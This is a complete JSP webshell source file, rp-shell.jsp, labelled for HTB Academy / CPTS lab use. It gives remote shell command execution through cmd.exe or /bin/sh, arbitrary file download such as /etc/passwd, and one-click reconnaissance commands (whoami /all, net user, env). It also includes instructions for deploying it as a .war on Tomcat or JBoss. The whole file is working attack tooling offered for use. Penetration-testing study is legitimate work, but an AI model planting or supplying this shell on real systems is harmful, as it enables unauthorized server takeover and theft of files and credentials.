rp-shell.jsp (9558B)
1 <%@ page contentType="text/html; charset=UTF-8" import="java.io.*,java.util.*,java.net.*" %> 2 <% 3 // ============================================================ 4 // rp-shell.jsp — single-file JSP webshell (Rose Pine) 5 // Works on Tomcat / JBoss / any JSP container. 6 // Lab use only — HTB Academy / CPTS 7 // ============================================================ 8 9 boolean win = System.getProperty("os.name").toLowerCase().contains("win"); 10 11 // --- working directory (persists in the HTTP session) --- 12 String workDir = (String) session.getAttribute("rp_wd"); 13 if (workDir == null || !new File(workDir).isDirectory()) { 14 workDir = application.getRealPath("/"); 15 if (workDir == null) workDir = System.getProperty("user.dir"); 16 } 17 18 String output = ""; 19 String statusMsg = ""; 20 21 // --- helpers --- 22 String runCmd(String c, String wd) throws Exception { 23 String[] command = win 24 ? new String[] {"cmd.exe", "/c", "cd /d \"" + wd + "\" && " + c + " 2>&1"} 25 : new String[] {"/bin/sh", "-c", "cd \"" + wd + "\" && " + c + " 2>&1"}; 26 Process p = new ProcessBuilder(command).redirectErrorStream(true).start(); 27 BufferedReader r = new BufferedReader(new InputStreamReader(p.getInputStream())); 28 StringBuilder sb = new StringBuilder(); 29 String l; 30 while ((l = r.readLine()) != null) sb.append(l).append("\n"); 31 p.waitFor(); 32 return sb.toString(); 33 } 34 35 String esc(String s) { 36 if (s == null) return ""; 37 return s.replace("&","&").replace("<","<").replace(">",">").replace("\"","""); 38 } 39 40 // --- file download: ?get=<path> --- 41 String dl = request.getParameter("get"); 42 if (dl != null && !dl.equals("")) { 43 File f = new File(dl); 44 if (!f.isAbsolute()) f = new File(workDir, dl); 45 if (f.isFile()) { 46 response.reset(); 47 response.setContentType("application/octet-stream"); 48 response.setHeader("Content-Disposition", "attachment; filename=\"" + f.getName() + "\""); 49 response.setContentLengthLong(f.length()); 50 FileInputStream fis = new FileInputStream(f); 51 OutputStream os = response.getOutputStream(); 52 byte[] buf = new byte[8192]; 53 int n; 54 while ((n = fis.read(buf)) != -1) os.write(buf, 0, n); 55 fis.close(); 56 os.flush(); 57 return; 58 } 59 statusMsg = "download failed: not found -> " + f.getAbsolutePath(); 60 } 61 62 // --- command execution --- 63 String cmd = request.getParameter("cmd"); 64 if (cmd != null && !cmd.trim().equals("")) { 65 String t = cmd.trim(); 66 if (t.equals("cd") || t.startsWith("cd ")) { 67 String target = t.length() > 2 ? t.substring(2).trim() : ""; 68 if (target.equals("")) { 69 output = workDir; 70 } else { 71 File nf = new File(target); 72 if (!nf.isAbsolute()) nf = new File(workDir, target); 73 if (nf.isDirectory()) { 74 workDir = nf.getCanonicalPath(); 75 session.setAttribute("rp_wd", workDir); 76 output = ""; 77 } else { 78 output = "no such directory: " + target; 79 } 80 } 81 } else if (t.equals("cls") || t.equals("clear")) { 82 output = ""; 83 } else { 84 try { output = runCmd(cmd, workDir); } 85 catch (Exception ex) { output = "error: " + ex.getMessage(); } 86 } 87 } 88 89 // --- banner identity --- 90 String bannerUser = "?", bannerHost = "?"; 91 try { bannerUser = runCmd(win ? "whoami" : "id", workDir).trim(); } catch (Exception e) {} 92 try { bannerHost = InetAddress.getLocalHost().getHostName(); } catch (Exception e) {} 93 %> 94 <!DOCTYPE html> 95 <html> 96 <head> 97 <meta charset="utf-8"> 98 <title>rp-shell :: <%= esc(bannerHost + " :: " + bannerUser) %></title> 99 <style> 100 :root{ 101 --base:#191724; --surface:#1f1d2e; --overlay:#26233a; 102 --muted:#6e6a86; --subtle:#908caa; --text:#e0def4; 103 --love:#eb6f92; --gold:#f6c177; --rose:#ebbcba; 104 --pine:#31748f; --foam:#9ccfd8; --iris:#c4a7e7; 105 } 106 *{box-sizing:border-box;} 107 body{ 108 background:var(--base); color:var(--text); 109 font-family:"Cascadia Code",Consolas,"Courier New",monospace; 110 margin:0; padding:24px; font-size:14px; 111 } 112 .wrap{max-width:960px; margin:0 auto;} 113 .card{ 114 background:var(--surface); border:1px solid var(--overlay); 115 border-radius:10px; padding:18px 20px; margin-bottom:16px; 116 } 117 .banner{ 118 font-size:15px; color:var(--foam); letter-spacing:.5px; 119 border-left:3px solid var(--iris); padding-left:12px; 120 } 121 .banner b{color:var(--love);} 122 .meta{color:var(--subtle); font-size:12px; margin-top:6px;} 123 .meta span{color:var(--gold);} 124 .pwd{color:var(--pine); word-break:break-all;} 125 .pwd b{color:var(--foam);} 126 pre{ 127 background:var(--base); border:1px solid var(--overlay); 128 border-radius:8px; padding:14px; overflow-x:auto; 129 white-space:pre-wrap; word-break:break-all; 130 color:var(--text); min-height:60px; margin:12px 0; 131 } 132 .status{color:var(--gold); font-size:12px; min-height:16px;} 133 input[type=text]{ 134 width:100%; background:var(--overlay); color:var(--text); 135 border:1px solid var(--muted); border-radius:6px; 136 padding:10px 12px; font-family:inherit; font-size:14px; 137 } 138 input[type=text]:focus{outline:none; border-color:var(--iris);} 139 .row{display:flex; gap:8px; margin-top:10px; flex-wrap:wrap; align-items:center;} 140 .btn{ 141 background:var(--pine); color:var(--text); border:none; 142 border-radius:6px; padding:9px 18px; cursor:pointer; 143 font-family:inherit; font-size:13px; 144 } 145 .btn:hover{background:var(--foam); color:var(--base);} 146 .btn.alt{background:var(--overlay); color:var(--subtle);} 147 .btn.alt:hover{background:var(--muted); color:var(--text);} 148 .chips{margin-top:10px; display:flex; gap:6px; flex-wrap:wrap;} 149 .chip{ 150 background:var(--overlay); color:var(--iris); border:1px solid var(--muted); 151 border-radius:12px; padding:3px 10px; font-size:11px; cursor:pointer; 152 } 153 .chip:hover{background:var(--iris); color:var(--base);} 154 .fileline{display:flex; gap:8px; margin-top:8px; align-items:center;} 155 .hint{color:var(--muted); font-size:11px; margin-top:8px;} 156 </style> 157 </head> 158 <body> 159 <div class="wrap"> 160 161 <div class="card"> 162 <div class="banner">rp-shell [jsp] :: <b><%= esc(bannerHost + " :: " + bannerUser) %></b></div> 163 <div class="meta"> 164 remote <span><%= esc(request.getRemoteAddr()) %></span> :: 165 os <span><%= esc(System.getProperty("os.name")) %></span> :: 166 java <span><%= esc(System.getProperty("java.version")) %></span> :: 167 server <span><%= esc(application.getServerInfo()) %></span> 168 </div> 169 </div> 170 171 <div class="card"> 172 <div class="pwd">cwd :: <b><%= esc(workDir) %></b></div> 173 <pre id="out"><%= esc(output) %></pre> 174 <div class="status"><%= esc(statusMsg) %></div> 175 176 <form method="post"> 177 <input type="text" name="cmd" id="cmd" autocomplete="off" 178 autofocus placeholder="command... (cd supported & persists in session, cls clears)"> 179 <div class="row"> 180 <button class="btn" type="submit">run</button> 181 <button class="btn alt" type="submit" name="cmd" value="cls">clear</button> 182 </div> 183 <div class="chips"> 184 <% if (win) { %> 185 <span class="chip" onclick="fill('whoami /all')">whoami /all</span> 186 <span class="chip" onclick="fill('whoami /priv')">whoami /priv</span> 187 <span class="chip" onclick="fill('ipconfig')">ipconfig</span> 188 <span class="chip" onclick="fill('dir')">dir</span> 189 <span class="chip" onclick="fill('net user')">net user</span> 190 <% } else { %> 191 <span class="chip" onclick="fill('id')">id</span> 192 <span class="chip" onclick="fill('uname -a')">uname</span> 193 <span class="chip" onclick="fill('ls -la')">ls -la</span> 194 <span class="chip" onclick="fill('cat /etc/passwd')">passwd</span> 195 <span class="chip" onclick="fill('env | sort')">env</span> 196 <% } %> 197 <span class="chip" onclick="fill('<%= win ? "cd" : "pwd" %>')"><%= win ? "cd" : "pwd" %></span> 198 </div> 199 </form> 200 201 <form method="get" class="fileline"> 202 <input type="text" name="get" placeholder="<%= win ? "C:\\path\\to\\file" : "/etc/passwd or ./file" %>"> 203 <button class="btn alt" type="submit">download</button> 204 </form> 205 206 <div class="hint"> 207 os auto-detected (<%= win ? "windows — cmd.exe /c" : "linux — /bin/sh -c" %>) :: 208 cd persists in the JSP session :: 209 deploy as a .war: jar -cvf shell.war rp-shell.jsp → /shell/rp-shell.jsp :: 210 delete during cleanup 211 </div> 212 </div> 213 214 </div> 215 <script> 216 var hist = [], hi = -1; 217 var box = document.getElementById("cmd"); 218 function fill(c){ box.value = c; box.focus(); } 219 box.form.addEventListener("submit", function(){ 220 if (box.value) hist.push(box.value); 221 }); 222 box.addEventListener("keydown", function(e){ 223 if (e.key === "ArrowUp"){ e.preventDefault(); 224 if (hist.length){ hi = Math.max(0, hi < 0 ? hist.length - 1 : hi - 1); box.value = hist[hi]; } } 225 if (e.key === "ArrowDown"){ e.preventDefault(); 226 if (hist.length){ hi = Math.min(hist.length - 1, hi + 1); box.value = hist[hi]; } } 227 }); 228 </script> 229 </body> 230 </html>